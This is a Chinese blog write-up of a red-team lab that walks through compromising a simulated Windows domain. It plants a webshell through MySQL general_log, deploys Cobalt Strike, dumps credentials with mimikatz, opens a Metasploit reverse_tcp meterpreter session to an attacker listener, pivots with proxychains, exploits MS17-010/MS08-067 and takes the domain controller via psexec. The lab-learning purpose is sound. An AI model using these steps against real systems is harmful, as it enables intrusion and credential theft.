ATT&CK实战系列——红队实战(一)学习内网渗透
一、靶场网络拓扑结构
二、靶场环境搭建
靶场环境涉及到三台主机和一台用于发动攻击的主机,分别是
win7 192.168.17.137(外网NAT模式)/192.168.52.128(内网)
win2003 192.168.52.141(外网)
Win2008 R2 (DC)192.168.52.138(内网)
攻击机Kali 192.168.17.139(外网NAT模式)
本地物理机 win10 192.168.17.1(外网)
这里为了模拟真实的场景,需要对虚拟机进行一些网络配置。
首先在虚拟网络编辑器中新建一个网络VMnet2用于获取内网IP,配置如下
win2003、Win2008 R2在创建时都选择VMnet2的仅主机模式来获取内网IP,Kali在创建时选择VMnet8的NAT模式获取外网IP。Win7因为既要有外网IP又要有内网IP,因此需要两个网卡才能够实现,一个VMnet8用于获取外网IP(可联网),一个VMnet2用于获取内网IP(无法联网)。
点击“添加”,选择添加“网络适配器”即可
三、前期渗透过程
扫描这里的整个外网网段发现了四台存活主机,分别如下所示
可以看到这里的192.168.17.137开放了80端口和3306端口,应该就是作为web服务器的主机了
直接访问该端口时发现了phpstudy探针页面,显示如下
从该页面中我们可以搜集到很多有用信息用于后续渗透,比如管理员邮箱(可用于社工或钓鱼)、一些版本信息(可以搜集对应版本是否存在漏洞等)、绝对路径(可以用于SQL注入写入一句话木马)
接着用御剑扫描一下目录发现存在phpmyadmin数据库登录界面和一个备份文件
下载解压备份文件后显示如下
猜测网站可能使用的就是yxcms,构造url进行访问
至此可以知道作为web服务器的win7主机的大致情况了。既然已经发现目标网站,接下来就是正常的渗透流程了。
1、phpmyadmin写shell
靶场的主要目的是要做内网渗透的练习,首先肯定得先获取webshell。前面已经提到了服务器开放了3306端口并且存在phpmyadmin数据库登录界面,就先试试能不能直接写shell。
经过尝试发现登陆存在弱口令root
能够登陆进行就可以方便执行sql语句了。通过phpmyadmin获取webshell有多种方式,这里就选择开启全局日志的方式getshell。
首先查询当前是否开启了全局日志
SHOW GLOBAL VARIABLES LIKE '%genera%';
可以看到并没有开启,接着就先开启全局日志功能
SET GLOBAL general_log = ON;
然后就是将所有查询语句记录到新指定的可访问的文件中
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php';
全部设置完成之后再次查询检查是否成功更改
可以看到全局日志功能已经开启,并且记录查询的文件也是我们指定的shell.php了。接下来就是执行一个带有一句话功能的sql语句了,如下
成功写入一句话之后用菜刀连接即可
2、通过yxcms后台模板写shell
前面已经知道网站使用的是yxcms模板,所以百度搜索一下就找到了该模板的默认后台地址
http://192.168.17.137/yxcms/index.php?r=admin/index/login
因为yxcms存在验证码重复使用漏洞,所以通过爆破得到后台账号密码为admin 123456
在前台模板处可以直接写入一句话文件来getshell
创建完成之后就需要知道该文件在服务器中所处位置了,通过将当前模板中的文件同前面获取的网站备份进行对比发现了模板文件在服务器上的路径位置,如下
构造url用菜刀连接即可
四、中期信息搜集
现在有了webshell就可以继续进行深入的渗透了。进行内网渗透前最为重要的一点就是信息搜集。
可以看到当前的用户权限是administrator。查看ip时发现服务器有双网卡,可知内网IP段时192.168.52.x。
为了有一个功能更强大可视化效果更好的操作环境,先把shell转移到CS上面。
首先在kali上启动CS服务端
在本机上进行连接
接着生成后门文件并上传至服务器让主机执行上线
执行完成之后CS上显示主机已上线
先来抓取一下密码,首先用hashdump看一下密码
再用mimikatz抓一下明文密码
可以看到不仅跑出了主机的密码还探测出主机所属域是GOD.ORG。
net config Workstation (当前计算机名,全名,用户名,系统版本,工作站域,登陆域)
net localgroup administrators 本机管理员[通常含有域用户]
net view 查看局域网内所有计算机
可以看到除win7主机外局域网还存在两台主机,计算机名分别是:OWA、ROOT-TVI862UBEH。
systeminfo 查看系统信息
从结果来看可以进一步印证当前域是god.org并且域服务器的计算机名是OWA。
使用CS扩展的Ladon插件探测内网存活主机情况
net view /domain 查看域情况
通过以上步骤我们大致可以知道在内网中还存活着两台主机分别是192.168.52.138 OWA、192.168.52.141 ROOT-TVI862UBEH。并且当前域是god.org,域控是192.168.52.138,域成员是192.168.52.141。
五、内网渗透过程
通过第四部分的过程我们搜集到了一些关于内网的相关信息,但是如果想要进行内网渗透更方便的方法就是能够直接访问到内网。这里就要将CS和msf进行联动了,也就是当获取了CobaltStrike类型的session后,派生一个MSF类型的shell。
1、CS和msf联动
首先在CS上新建一个监听器,类型为foreign
然后在msf上执行
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.11
set lport 4444
run
然后在CS中选中计算机,右键->Spawn,并选择刚刚创建的监听器msf
然后我们的msf即可看到成功获取了meterpreter会话
获取会话之后先查看当前的权限getuid,发现是Administrator权限,用getsystem命令进行提权
现在已经获取了作为web服务器的win7主机的最高权限,那么接下来就是针对域内的其他主机进行渗透了,渗透之前第一步就是进行端口扫描。
2、域内主机端口扫描
此时扫描内网主机端口有两种方式,一种就是利用msf的内置模块,一种就是使用攻击机中的类似namp的软件。
因为其他两台主机是在内网当中,如果要使用msf中的模块的话就要添加路由。添加路由的目的是为了让msf中的其他模块能访问内网的其他主机,即52网段的攻击流量都是通过已渗透的这台目标主机(Windows7)的meterpreter会话来传递的。
如果我们是需要攻击机中的其他软件也能访问到内网主机的话就需要设置代理了。添加代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务。
(添加路由一定要在挂代理之前,因为代理需要用到路由功能)
在配置文件/etc/proxychains.conf中添加:
socks4 192.168.17.139 1080
配置完成之后就利用proxychains启动nmap对内网主机进行扫描,这里注意一定要加上-Pn和-sT参数:
Proxychains nmap -Pn -sT 192.168.52.141 -p 1-1000
这里探测了192.168.52.141的前1000个端口,探测192.168.52.138也是用同样的方法。不过既然前面已经添加路由了,我们就顺便使用msf中的模块来试试端口探测的效果
通过对比的话,我个人更倾向于添加路由来使用msf的模块进行端口扫描,因为代理耗时比较长。从图中可以看到内网中的这两台主机开放了135、445这样的危险端口。那么接下来就看看这两台主机是否存在ms17_010漏洞。
从结果来看似乎都是存在的,那么接下来就是直接利用了。首先就针对域控192.168.52.138
emmm,好像有点问题,应该是防火墙的原因。那么先试试拿下域成员192.168.52.141的权限吧。
最终利用ms08_067成功获得了meterpreter会话。接着就看看主机的系统信息
既然两台域成员的权限拿到了,那么只剩最后的终极目标:获取域控的权限。本来想通过auxiliary/admin/smb/ms17_010_command
模块执行命令来关闭域控的防火墙以便反弹shell,但是最终还是失败了。此时就不得不另谋他路,选择在CS上添加smb会话,使用psexec直接拿域控shell了。
首先在新建一个监听器
然后点击探测到的域控主机执行Jump>psexec
选择刚刚新建的监听器
点击开始之后隔一段时间就收到了域控主机的shell
执行一下ipconfig检查一下
最后抓取一下域控的密码
其实前面对192.168.52.141域成员主机也可以通过同样的方法来获取shell
总结:内网渗透还是很有意思的,又学到了很多知识,开心。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论